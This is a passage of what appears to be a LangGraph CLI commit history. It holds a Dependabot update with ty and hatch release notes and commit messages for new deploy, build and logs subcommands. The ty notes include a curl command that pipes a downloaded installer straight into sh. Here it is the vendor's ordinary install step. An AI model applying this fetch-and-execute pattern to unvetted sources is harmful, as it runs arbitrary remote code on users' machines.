href="https://redirect.github.com/astral-sh/ruff/pull/26406 ">#26406</a>).
<a
href="https://github.com/python/typeshed/compare/8e6a886ca5b14742924be721d345a619762d6e93...3c6221722aac5bd9dbfc5fbf7b4f0bf64b2c5724 ">Typeshed
diff</a></li>
<li>Track literal iterable emptiness for reachability (<a
href="https://redirect.github.com/astral-sh/ruff/pull/25222 ">#25222</a>)</li>
<li>Validate positional class patterns against
<code>__match_args__</code> (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26195 ">#26195</a>)</li>
</ul>
<h3>Contributors</h3>
<ul>
<li><a
href="https://github.com/charliermarsh "><code>@charliermarsh</code></a></li>
<li><a href="https://github.com/carljm "><code>@carljm</code></a></li>
<li><a
href="https://github.com/AlexWaygood "><code>@AlexWaygood</code></a></li>
<li><a
href="https://github.com/MichaReiser "><code>@MichaReiser</code></a></li>
<li><a href="https://github.com/mtshiba "><code>@mtshiba</code></a></li>
<li><a
href="https://github.com/felixscherz "><code>@felixscherz</code></a></li>
</ul>
<h2>Install ty 0.0.55</h2>
<h3>Install prebuilt binaries via shell script</h3>
<pre lang="sh"><code>curl --proto '=https' --tlsv1.2 -LsSf
https://releases.astral.sh/github/ty/releases/download/0.0.55/ty-installer.sh
| sh
</code></pre>
<h3>Install prebuilt binaries via powershell script</h3>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/astral-sh/ty/blob/main/CHANGELOG.md ">ty's
changelog</a>.</em></p>
<blockquote>
<h2>0.0.55</h2>
<p>Released on 2026-06-26.</p>
<h3>LSP server</h3>
<ul>
<li>Render full diagnostics in color (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26384 ">#26384</a>)</li>
</ul>
<h3>Documentation</h3>
<ul>
<li>Document colored diagnostic output (<a
href="https://redirect.github.com/astral-sh/ty/pull/3858 ">#3858</a>)</li>
</ul>
<h3>Performance</h3>
<ul>
<li>Improve vendored filesystem concurrency (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26408 ">#26408</a>)</li>
<li>Optimize enum comparisons in equality evaluation (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26340 ">#26340</a>)</li>
<li>Remove redundant semantic index shrinks (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26392 ">#26392</a>)</li>
<li>Use never-change durability for one-shot checks (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26359 ">#26359</a>)</li>
</ul>
<h3>Core type checking</h3>
<ul>
<li>Correct enum alias detection and scalar constructors (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26345 ">#26345</a>)</li>
<li>Fix structural pattern binding inference (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26411 ">#26411</a>)</li>
<li>Improve variable-length tuple slicing (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26151 ">#26151</a>)</li>
<li>Infer class and mapping pattern bindings (<a
href="https://redirect.github.com/astral-sh/ruff/pull/25941 ">#25941</a>)</li>
<li>Infer empty collection constructors from later uses (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26389 ">#26389</a>)</li>
<li>Skip shadowed submodule bindings during import analysis (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26385 ">#26385</a>)</li>
<li>Sync vendored typeshed stubs (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26406 ">#26406</a>).
<a
href="https://github.com/python/typeshed/compare/8e6a886ca5b14742924be721d345a619762d6e93...3c6221722aac5bd9dbfc5fbf7b4f0bf64b2c5724 ">Typeshed
diff</a></li>
<li>Track literal iterable emptiness for reachability (<a
href="https://redirect.github.com/astral-sh/ruff/pull/25222 ">#25222</a>)</li>
<li>Validate positional class patterns against
<code>__match_args__</code> (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26195 ">#26195</a>)</li>
</ul>
<h3>Contributors</h3>
<ul>
<li><a
href="https://github.com/charliermarsh "><code>@charliermarsh</code></a></li>
<li><a href="https://github.com/carljm "><code>@carljm</code></a></li>
<li><a
href="https://github.com/AlexWaygood "><code>@AlexWaygood</code></a></li>
<li><a
href="https://github.com/MichaReiser "><code>@MichaReiser</code></a></li>
<li><a href="https://github.com/mtshiba "><code>@mtshiba</code></a></li>
<li><a
href="https://github.com/felixscherz "><code>@felixscherz</code></a></li>
</ul>
<h2>0.0.54</h2>
<p>Released on 2026-06-25.</p>
<h3>Bug fixes</h3>
<ul>
<li>Avoid duplicate configuration error output (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26375 ">#26375</a>)</li>
<li>Avoid stack overflows in reachability analysis (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26272 ">#26272</a>)</li>
<li>Fix divergent recursive tuple cycle handling in ty (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26316 ">#26316</a>)</li>
<li>Fix panic from relation queries during cycle recovery (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26335 ">#26335</a>)</li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/astral-sh/ty/commit/42869400da56f4ee7ce752141f81b50bb318e4e2 "><code>4286940</code></a>
Bump version to 0.0.55 (<a
href="https://redirect.github.com/astral-sh/ty/issues/3866 ">#3866</a>)</li>
<li><a
href="https://github.com/astral-sh/ty/commit/5374b30ff462ef6e59d23dc9ba515007b02464a8 "><code>5374b30</code></a>
Update benchmarks for ty 0.0.54 (<a
href="https://redirect.github.com/astral-sh/ty/issues/3865 ">#3865</a>)</li>
<li><a
href="https://github.com/astral-sh/ty/commit/3ed874d053ff9529c9fd0205a6d3bbe6a7407535 "><code>3ed874d</code></a>
Document colored diagnostic output (<a
href="https://redirect.github.com/astral-sh/ty/issues/3858 ">#3858</a>)</li>
<li><a
href="https://github.com/astral-sh/ty/commit/bf8a7dd584f53d67d873c750afc1494331f93502 "><code>bf8a7dd</code></a>
Bump version to 0.0.54</li>
<li><a
href="https://github.com/astral-sh/ty/commit/78e094dfaf6245514f124b043b18c9a20edd8f08 "><code>78e094d</code></a>
Document the <code>fullDiagnosticOutput</code> extension to the Language
Server Protocol...</li>
<li><a
href="https://github.com/astral-sh/ty/commit/7bda89e5069d747bd7f54513dcd0263157a8f694 "><code>7bda89e</code></a>
Document ty's <code>@Todo</code> type in the typing FAQ (<a
href="https://redirect.github.com/astral-sh/ty/issues/3847 ">#3847</a>)</li>
<li><a
href="https://github.com/astral-sh/ty/commit/66a94cde4970b405a770e4c6ef4ac2a9bb6bf733 "><code>66a94cd</code></a>
Update maturin to v1.14.0 (<a
href="https://redirect.github.com/astral-sh/ty/issues/3840 ">#3840</a>)</li>
<li><a
href="https://github.com/astral-sh/ty/commit/dc2b39d1e29e55a4a6d83486fffa936ba5121a72 "><code>dc2b39d</code></a>
Update prek dependencies (<a
href="https://redirect.github.com/astral-sh/ty/issues/3839 ">#3839</a>)</li>
<li><a
href="https://github.com/astral-sh/ty/commit/23f26f98a22d3a0df412846506f3af6e76cf48e4 "><code>23f26f9</code></a>
Bump version to 0.0.53 (<a
href="https://redirect.github.com/astral-sh/ty/issues/3841 ">#3841</a>)</li>
<li><a
href="https://github.com/astral-sh/ty/commit/13f91b093e004c76aa548a221c7b577dfbdd7ea6 "><code>13f91b0</code></a>
Bump version to 0.0.52 (<a
href="https://redirect.github.com/astral-sh/ty/issues/3828 ">#3828</a>)</li>
<li>Additional commits viewable in <a
href="https://github.com/astral-sh/ty/compare/0.0.43...0.0.55 ">compare
view</a></li>
</ul>
</details>
<br />
Updates `hatch` from 1.16.5 to 1.17.0
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/pypa/hatch/releases ">hatch's
releases</a>.</em></p>
<blockquote>
<h2>Hatchling v1.17.0</h2>
<p><em><strong>Added:</strong></em></p>
<ul>
<li>The <code>app</code> build target now embeds the project version in
the name of binaries</li>
</ul>
<h2>Hatch v1.17.0</h2>
<p><em><strong>Changed:</strong></em></p>
<ul>
<li>The <code>hatch fmt</code> command is now deprecated in favor of the
new <code>hatch check</code> command group</li>
<li>Migrate HTTP client from <code>httpx</code> to
<code>httpx2</code></li>
</ul>
<p><em><strong>Added:</strong></em></p>
<ul>
<li>Add <code>hatch check</code> command group with subcommands for
<code>check code</code> (linting), <code>check fmt</code> (formatting),
and <code>check types</code> (type checking)</li>
<li>Add <code>hatch check types</code> command for type checking using
Pyrefly, with <code>--summarize</code> and <code>--cover</code>
flags</li>
<li>Add <code>hatch env lock</code> command to generate PEP 751
compliant lockfiles (<code>pylock.toml</code>) for environments</li>
<li>Add <code>hatch dep lock</code> and <code>hatch lock</code> commands
as shortcuts for locking the active environment</li>
<li>Add <code>hatch dep sync</code> command for syncing dependencies
from a lockfile</li>
<li>Add pluggable dependency locker interface with built-in UV and pip
implementations</li>
<li>Add <code>--cover-xml</code> and <code>--cover-xml-output</code>
flags to the <code>hatch test</code> command for generating XML coverage
reports</li>
<li>Add linehaul telemetry data to User-Agent header for PyPI download
statistics</li>
<li>Auto-create environment when locking if it doesn't exist</li>
</ul>
<p><em><strong>Fixed:</strong></em></p>
<ul>
<li>Fix help output formatting for the <code>run</code> command</li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/pypa/hatch/commit/37b00c3d2221438fa79084b92e81ee1819d6c630 "><code>37b00c3</code></a>
release Hatchling v1.30.1 (<a
href="https://redirect.github.com/pypa/hatch/issues/2298 ">#2298</a>)</li>
<li><a
href="https://github.com/pypa/hatch/commit/0446d99ef6461644624e8bdc461fd3c0a684a13c "><code>0446d99</code></a>
Update history for new patch release of hatchling after fixing default
metada...</li>
<li><a
href="https://github.com/pypa/hatch/commit/4f5cdf094ec515488777705fc01e484ddd4f3e5f "><code>4f5cdf0</code></a>
Make 2.4 metadata default until other tools support it. (<a
href="https://redirect.github.com/pypa/hatch/issues/2296 ">#2296</a>)</li>
<li><a
href="https://github.com/pypa/hatch/commit/0497be09d555c300851d55344104e9aea2f9f200 "><code>0497be0</code></a>
Fix draft release uploads. (<a
href="https://redirect.github.com/pypa/hatch/issues/2293 ">#2293</a>)</li>
<li><a
href="https://github.com/pypa/hatch/commit/3aae0faf98a5e90c146d5af21738e049ecac471e "><code>3aae0fa</code></a>
Fix hatchling to use Metadata 2.4 (<a
href="https://redirect.github.com/pypa/hatch/issues/2291 ">#2291</a>)</li>
<li><a
href="https://github.com/pypa/hatch/commit/5ee41893d556aaa862d32621e37bb179646c60e8 "><code>5ee4189</code></a>
release Hatch v1.17.0 (<a
href="https://redirect.github.com/pypa/hatch/issues/2290 ">#2290</a>)</li>
<li><a
href="https://github.com/pypa/hatch/commit/6109ee756a79d1341798a47517d778d149807b15 "><code>6109ee7</code></a>
release Hatchling v1.30.0 (<a
href="https://redirect.github.com/pypa/hatch/issues/2289 ">#2289</a>)</li>
<li><a
href="https://github.com/pypa/hatch/commit/246e22bb1681b74ff493ec60aa8849d95ce048fe "><code>246e22b</code></a>
Block duplicate files in wheel archives (closes <a
href="https://redirect.github.com/pypa/hatch/issues/2066 ">#2066</a>) (<a
href="https://redirect.github.com/pypa/hatch/issues/2269 ">#2269</a>)</li>
<li><a
href="https://github.com/pypa/hatch/commit/d2afcb6003321c9dca1628b2840ec4acb1e1a9ef "><code>d2afcb6</code></a>
Update docs as pre-release for 1.17.0 (<a
href="https://redirect.github.com/pypa/hatch/issues/2287 ">#2287</a>)</li>
<li><a
href="https://github.com/pypa/hatch/commit/818d2841958f0797f0e4ed014b9f0a8123d11b63 "><code>818d284</code></a>
Feat hatch check command with new sub command for types (<a
href="https://redirect.github.com/pypa/hatch/issues/2278 ">#2278</a>)</li>
<li>Additional commits viewable in <a
href="https://github.com/pypa/hatch/compare/hatch-v1.16.5...hatch-v1.17.0 ">compare
view</a></li>
</ul>
</details>
<br />
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
<details>
<summary>Dependabot commands and options</summary>
<br />
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore <dependency name> major version` will close this
group update PR and stop Dependabot creating any more for the specific
dependency's major version (unless you unignore this specific
dependency's major version or upgrade to it yourself)
- `@dependabot ignore <dependency name> minor version` will close this
group update PR and stop Dependabot creating any more for the specific
dependency's minor version (unless you unignore this specific
dependency's minor version or upgrade to it yourself)
- `@dependabot ignore <dependency name>` will close this group update PR
and stop Dependabot creating any more for the specific dependency
(unless you unignore this specific dependency or upgrade to it yourself)
- `@dependabot unignore <dependency name>` will remove all of the ignore
conditions of the specified dependency
- `@dependabot unignore <dependency name> <ignore condition>` will
remove the ignore condition of the specified dependency and ignore
conditions
</details>
---------
Signed-off-by: dependabot[bot] <support@github.com >
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: John Kennedy <65985482+jkennedyvz@users.noreply.github.com >
Co-authored-by: open-swe[bot] <open-swe@users.noreply.github.com >
2026-07-03 16:41:54 -07:00
3df6f50ad5
feat(cli): allow prebuild images for langgraph deploy ( #8100 )
...
Fixes #
adds a --image flag to `langgraph deploy`, allows a user to `langgraph
build` a custom image and then deploy this specific image with
`langgraph deploy`.
---------
Co-authored-by: hari-dhanushkodi <203702815+hari-dhanushkodi@users.noreply.github.com >
Co-authored-by: open-swe[bot] <open-swe@users.noreply.github.com >
2026-06-25 03:32:42 +00:00
Connor Braa and GitHub
1a9baae959
release(cli): 0.4.30 ( #8101 )
...
Bump langgraph-cli to 0.4.30 to cut a CLI release from
916025d2f6 .
Also change the in-memory extra to require langgraph-api <0.12.0,
excluding 0.12.0.dev releases from normal pip resolution.
Refresh uv example lockfiles so they keep langchain-protocol compatible
with the stable API image used by CLI integration tests.
CI will verify the release change.
2026-06-16 12:43:04 -07:00
Connor Braa and GitHub
916025d2f6
feat(cli): support compatible api version ranges ( #8023 )
...
Adds `api_version` ranges for LangGraph API base image tags.
`~=0.11.0.dev5` resolves to the newest matching compatible image while
freezing later dev prereleases until rc/final/patch tags exist;
`>~=0.11.0.dev5` uses the same floor but can also float to future stable
releases while ignoring future prereleases.
Verified with `make format`, `make lint`, and `make test` from
`libs/cli`.
---------
Signed-off-by: Connor Braa <cwlbraa@langchain.dev >
2026-06-15 20:24:31 -04:00
David Duong and GitHub
93307d6a42
release(cli): 0.4.29 ( #8046 )
...
https://github.com/langchain-ai/langgraph/pull/8031
2026-06-11 16:56:31 +02:00
David Duong and GitHub
e05ba2965d
feat(cli): add support for passing certfile and cert key to run dev server under HTTPS ( #8031 )
...
This allows running the dev server under HTTPS, which is a requirement
for running local server under Safari.
2026-06-11 02:10:12 +02:00
Josh Rogers and GitHub
f0e814796b
release(cli): 0.4.28 ( #8041 )
...
Bumping the version to support langgraph-api stable versions 0.10.0,
0.11.0rcX and 0.12.0.devY releases.
2026-06-10 14:15:19 -04:00
syachamaneni-lc and GitHub
a9b0a05fb5
chore(langgraph): Track ADK/other library usage when deploying using cli ( #7939 )
...
<!-- Replace everything above this line with a 1-2 sentence description
of your change. Keep the "Fixes #xx" keyword and update the issue
number. -->
- Add a property to revisions table metadata column for Google ADK
version
- This helps us track the deployments that use Google ADK
- Similar to this PR:
https://github.com/langchain-ai/langchainplus/pull/22087
Read the full contributing guidelines:
https://docs.langchain.com/oss/python/contributing/overview
> **All contributions must be in English.** See the [language
policy](https://docs.langchain.com/oss/python/contributing/overview#language-policy ).
If you paste a large clearly AI generated description here your PR may
be IGNORED or CLOSED!
Thank you for contributing to LangGraph! Follow these steps to have your
pull request considered as ready for review.
1. PR title: Should follow the format: TYPE(SCOPE): DESCRIPTION
- feat(langgraph): add multi-tenant support
- Allowed TYPE and SCOPE values:
https://github.com/langchain-ai/langgraph/blob/main/.github/workflows/pr_lint.yml#L19-L43
2. PR description:
- Write 1-2 sentences summarizing the change.
- The `Fixes #xx` line at the top is **required** for external
contributions — update the issue number and keep the keyword. This links
your PR to the approved issue and auto-closes it on merge.
- If there are any breaking changes, please clearly describe them.
- If this PR depends on another PR being merged first, please include
"Depends on #PR_NUMBER" in the description.
3. Run `make format`, `make lint` and `make test` from the root of the
package(s) you've modified.
- We will not consider a PR unless these three are passing in CI.
4. How did you verify your code works?
Additional guidelines:
- All external PRs must link to an issue or discussion where a solution
has been approved by a maintainer, and you must be assigned to that
issue. PRs without prior approval will be closed.
- PRs should not touch more than one package unless absolutely
necessary.
- Do not update the `uv.lock` files or add dependencies to
`pyproject.toml` files (even optional ones) unless you have explicit
permission to do so by a maintainer.
## Social handles (optional)
<!-- If you'd like a shoutout on release, add your socials below -->
Twitter: @
LinkedIn: https://linkedin.com/in/
2026-05-29 13:46:10 -07:00
Josh Rogers and GitHub
7282301720
release(cli): 0.4.27 ( #7925 )
...
Bumping the CLI to 0.4.27.
2026-05-28 10:03:26 -04:00
6e4a295ba5
fix(cli): pin internal_docker deploy images by digest ( #7924 )
...
## Summary
`langgraph deploy` now pins images by digest when handing the URI to the
LangGraph host backend. After `docker push`, the CLI reads the manifest
digest from the local Docker daemon's `RepoDigests` and sends
`registry/repo@sha256:<hex>` to the host backend instead of the
tag-based reference. Mutable tags cause downstream inconsistency — the
same revision can refer to different images over time.
The image is still pushed under the user-supplied `--tag` (default
`:latest`) so it stays discoverable by tag in the registry — only the
URI persisted with the revision changes.
## Behavior on failure
If the digest can't be resolved (empty `RepoDigests`, or no entry
matching the just-pushed repo), the CLI warns and falls back to the
tag-based reference. Deploys never fail on a digest-resolution issue.
## Test plan
- [x] `make test` passes (new `TestResolvePushedImageDigest` cases
included)
- [x] `--verbose` deploy shows the `docker image inspect` call resolving
the digest
- [x] Deploy with a clean Docker daemon (no matching `RepoDigests`)
emits the fallback warning and still completes successfully
---------
Co-authored-by: Josh Rogers <josh@langchain.dev >
2026-05-27 18:26:39 -04:00
Josh Rogers and GitHub
786c42fde3
release(cli): 0.4.26 ( #7772 )
...
Bumps the version of the cli to allow support for pre-release version
pinning of langgraph-api:
https://github.com/langchain-ai/langgraph/pull/7771
2026-05-11 20:24:21 -04:00
Josh Rogers and GitHub
8537ea94d3
fix(cli): add support for prerelease api_versions ( #7771 )
...
Today, pre-release versions aren't supported for the `api_version`
config parameter in langgraph.json. This adds support for them to enable
latest and rc images going forward.
2026-05-11 20:20:17 -04:00
Asamu David and GitHub
95b41d058f
release: bump cli version ( #7734 )
...
## Summary
This release adds the following to the`langgraph deploy` command:
- json event output
- non-interactive mode
2026-05-07 17:29:13 +01:00
Asamu David and GitHub
b333d4c838
feat(cli): support studio deploy ( #7394 )
...
# Description
Supports deploying to langsmith from langgraph studio
Adds the following to the langgraph deploy command:
- json event output
- non-interactive mode
2026-05-06 03:20:50 +01:00
8657df80f3
chore: mixup cli formatting ( #7585 )
...
Co-authored-by: Will Fu-Hinthorn <will@langchain.dev >
2026-04-22 11:29:23 -07:00
a0a95df2ac
release(cli): 0.4.23 ( #7542 )
...
Release Note: Increase the max bound for langgraph-api
Co-authored-by: Will Fu-Hinthorn <will@langchain.dev >
2026-04-17 16:38:14 +00:00
Sydney Runkle
eae916719f
CLI bump
2026-04-16 13:48:02 -04:00
hari-dhanushkodi and GitHub
4d64227c13
chore: start tracking cli deploy source ( #7520 )
...
Fixes #
<!-- Replace everything above this line with a 1-2 sentence description
of your change. Keep the "Fixes #xx" keyword and update the issue
number. -->
Read the full contributing guidelines:
https://docs.langchain.com/oss/python/contributing/overview
> **All contributions must be in English.** See the [language
policy](https://docs.langchain.com/oss/python/contributing/overview#language-policy ).
If you paste a large clearly AI generated description here your PR may
be IGNORED or CLOSED!
Thank you for contributing to LangGraph! Follow these steps to have your
pull request considered as ready for review.
1. PR title: Should follow the format: TYPE(SCOPE): DESCRIPTION
- feat(langgraph): add multi-tenant support
- Allowed TYPE and SCOPE values:
https://github.com/langchain-ai/langgraph/blob/main/.github/workflows/pr_lint.yml#L19-L43
2. PR description:
- Write 1-2 sentences summarizing the change.
- The `Fixes #xx` line at the top is **required** for external
contributions — update the issue number and keep the keyword. This links
your PR to the approved issue and auto-closes it on merge.
- If there are any breaking changes, please clearly describe them.
- If this PR depends on another PR being merged first, please include
"Depends on #PR_NUMBER" in the description.
3. Run `make format`, `make lint` and `make test` from the root of the
package(s) you've modified.
- We will not consider a PR unless these three are passing in CI.
4. How did you verify your code works?
Additional guidelines:
- All external PRs must link to an issue or discussion where a solution
has been approved by a maintainer, and you must be assigned to that
issue. PRs without prior approval will be closed.
- PRs should not touch more than one package unless absolutely
necessary.
- Do not update the `uv.lock` files or add dependencies to
`pyproject.toml` files (even optional ones) unless you have explicit
permission to do so by a maintainer.
## Social handles (optional)
<!-- If you'd like a shoutout on release, add your socials below -->
Twitter: @
LinkedIn: https://linkedin.com/in/
2026-04-16 08:24:47 -04:00
890147681d
chore(cli): add validate command ( #7438 )
...
add validate command
---------
Co-authored-by: Will Fu-Hinthorn <will@langchain.dev >
2026-04-07 18:29:24 -07:00
336ad1239b
release(cli): lockfile ( #7436 )
...
Co-authored-by: Will Fu-Hinthorn <will@langchain.dev >
2026-04-07 17:19:17 -07:00
51f6cee1b1
chore: uv lock resolution ( #7342 )
...
## Summary
Adds native uv workspace/lockfile support to the LangGraph CLI's Docker
build pipeline. Instead of listing dependencies manually, users can
point at their existing `uv.lock` and the CLI will:
1. Discover workspace packages and their dependency graph
2. Export locked requirements via `uv export --package <name> --frozen`
3. Copy only the necessary workspace closure into the container
4. Install packages in dependency order with `--no-deps` for
reproducibility
5. Rewrite all import paths (graphs, auth, encryption, etc.) to
container paths
### New config field: `source`
Rather than using `pip` or `uv pip`, we add a new `uv_lock` installer.
The previous installers should still remain unchanged.
To avoid ambiguity, we discriminate by "source" field and **do not
permit** other arbitrary "dependencies". In this mode, we will treat the
provided root (defaults to the current directory) as the source of
truth.
This also would natively support uv workspaces, so you can specify the
target package within a larger workspace.
**Simple single-package project:**
```json
{
"python_version": "3.11",
"graphs": {
"agent": "./agent.py:graph"
},
"source": {
"kind": "uv"
}
}
```
**Multi-package workspace with explicit package:**
```json
{
"python_version": "3.11",
"graphs": {
"agent": "../../apps/agent/src/agent/graph.py:graph"
},
"source": {
"kind": "uv",
"root": "../..",
"package": "agent"
}
}
```
**Traditional pip deployment (unchanged):**
```json
{
"python_version": "3.11",
"dependencies": ["langgraph", "my-package"],
"graphs": {
"agent": "./agent.py:graph"
}
}
```
Config validation enforces mutual exclusivity. you must use either
`dependencies` or `source`, not both.
---------
Co-authored-by: Will Fu-Hinthorn <will@langchain.dev >
2026-04-07 17:17:54 -07:00
Asamu David and GitHub
b3eeb4fa1d
feat(cli): add remote build support for langgraph deploy ( #7234 )
...
**Description:**
- extend host_backend client with remote build support
- refactored `cli.py` for better clarity
- update tests
2026-04-02 16:39:30 +01:00
William FH and GitHub
0f20c3fe04
fix(cli): persist deployment name to .env after prompt ( #7323 )
...
## Summary
- When `langgraph deploy` prompts for the deployment name interactively,
persist it as `LANGSMITH_DEPLOYMENT_NAME` in the `.env` file so
subsequent deploys pick it up automatically
- Extracted `_resolve_env_path()` helper from `_parse_env_from_config()`
to share env file path resolution logic
- Skips writing when env vars are configured as an inline dict in
`langgraph.json` (no file to write to)
- **CI fix**: CLI integration tests were using `pip install` but
`setup-uv` with caching enabled, so the post-step cache save failed on a
non-existent directory — switched to `uv pip install`
## Test plan
- [x] All 207 existing unit tests pass
- [ ] Manual: run `langgraph deploy` without `--name`, enter a name at
prompt, verify `.env` now contains `LANGSMITH_DEPLOYMENT_NAME=<name>`
- [ ] Manual: run `langgraph deploy` again, verify the name is picked up
from `.env` without re-prompting
- [x] CI integration test cache fix (broken on main since Feb 2026)
2026-03-29 07:50:57 -07:00
Andrew Nguonly and GitHub
65572a0e6d
release: Create new release for CLI version 0.4.19. ( #7232 )
...
### Summary
This release includes an update for the `langgraph` CLI: `langgraph
deploy revisions list`.
2026-03-20 13:54:06 -07:00
Andrew Nguonly and GitHub
cc9acc1ba9
feat(cli): Add deploy revisions list command ( #7142 )
...
### Summary
```
% langgraph deploy revisions list f5bb6e58-e2ab-40b9-9855-d6dd6d1051b6
No LangSmith API key found. Create one at Settings > API Keys in LangSmith.
Enter LangSmith API key:
Revision ID Status Created At
------------------------------------ -------- ---------------------------
fe05f163-58cf-4783-a918-0c78a8fab0c7 BUILDING 2026-03-12T20:47:14.626436Z
03c32fcf-544f-4517-a016-c7a7243b898d DEPLOYED 2026-03-12T20:30:09.199275Z
29605810-29cc-4110-ac05-d43e564827d0 DEPLOYED 2026-03-12T19:56:36.232427Z
```
2026-03-19 16:55:19 -07:00
William FH and GitHub
8f62374658
release(cli): 0.4.18 ( #7186 )
2026-03-15 16:53:39 -07:00
William FH and GitHub
bec531980d
chore: update error message ( #7185 )
2026-03-15 16:46:15 -07:00
cd7961b051
release(cli): 0.4.17 ( #7166 )
...
release new templates
---------
Co-authored-by: William Fu-Hinthorn <13333726+hinthornw@users.noreply.github.com >
2026-03-13 16:07:27 -04:00
hari-dhanushkodi and GitHub
c315dd000f
feat(cli): new deep agent templates ( #7165 )
2026-03-13 10:35:52 -07:00
hari-dhanushkodi and GitHub
4759b2464f
release(cli): 0.4.16 ( #7151 )
2026-03-12 16:26:16 -07:00
hari-dhanushkodi and GitHub
16ab8544b2
fix(cli): use --tag for langgraph deploy ( #7148 )
...
langgraph deploy should use the `--tag/-t` instead of `--image-tag`.
This matches langgraph build
2026-03-12 15:58:08 -07:00
hari-dhanushkodi and GitHub
93a0dfec08
fix(cli): cleanup client creation code ( #7140 )
...
make following fixes for deploy cli:
- allow logs command to read in `_DEPLOYMENT_NAME_ENV`
- change prompt for api key to be more user friendly
- refactor prompt for org scoped keys
- make sure --config option is documented in deploy help
2026-03-12 11:40:49 -07:00
96199c4fee
feat(cli): add langgraph deploy logs subcommand ( #7100 )
...
Add a `langgraph deploy logs` subcommand to fetch build and
deploy/server logs from LangSmith deployments.
## Changes
- **`host_backend.py`**: Add `get_build_logs()` and `get_deploy_logs()`
methods, plus `langsmith_url` support.
- **`helpers.py`** (new): Log formatting (`format_log_entry`,
`format_timestamp`, `level_fg`) and resolution helpers
(`resolve_deployment_id`).
## Usage
```bash
# Deploy logs (latest 10)
langgraph deploy logs --deployment-id <id> --limit 10
# Error logs by name
langgraph deploy logs --name gtm-agent --level ERROR
# Build logs
langgraph deploy logs --deployment-id <id> --type build
# Tail logs (Ctrl+C to stop)
langgraph deploy logs --name gtm-agent --follow
```
## Tests
56 unit tests passing covering host backend methods, log formatting, and
helper functions.
---------
Co-authored-by: hari-dhanushkodi <hari@langchain.dev >
2026-03-12 09:01:44 -07:00
hari-dhanushkodi and GitHub
d595f11b43
feat(cli): add deploy list and deploy delete subcommands ( #7118 )
...
### Summary
This PR introduces a subcommand implementation that allows `langgraph
deploy list` and `langgraph deploy delete` subcommands.
#### `langgraph deploy list`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy list --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy list [OPTIONS]
[Beta] List LangSmith Deployments.
Options:
--name-contains TEXT Only show deployments whose names contain this value.
--api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY,
LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment
variable or .env file.
--help Show this message and exit.
```
Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy list
Deployment ID Deployment Name Deployment URL
------------------------------------ -------------------------- ------------------------------------------------------------------------------------
a40d6567-87c0-485a-a23d-94309a7d4519 ht-andrew-test-04 -
9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc ht-anirudh-deployment-test https://ht-anirudh-deployment-test-428af4737f8a533cb2b107587eb8f38f.us.langgraph.app/
```
#### `langgraph deploy delete`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy delete --help ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy delete [OPTIONS] DEPLOYMENT_ID
[Beta] Delete a LangSmith Deployment.
Options:
--force Delete without prompting for confirmation.
--api-key TEXT API key. Can also be set via LANGGRAPH_HOST_API_KEY,
LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable
or .env file.
--help Show this message and exit.
```
Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): Y
Host API key:
Deleted deployment a40d6567-87c0-485a-a23d-94309a7d4519.
```
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): n
Aborted!
```
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc --force
Host API key:
Deleted deployment 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc.
```
2026-03-11 15:33:32 -07:00
Andrew Nguonly and GitHub
7488cf2448
fix: Revert "feat(cli): Add deploy list and deploy delete subcommands" ( #7116 )
...
Reverts langchain-ai/langgraph#7106
This PR broke the `langgraph deploy` command flags.
2026-03-11 10:56:31 -07:00
Andrew Nguonly and GitHub
e77201cbb1
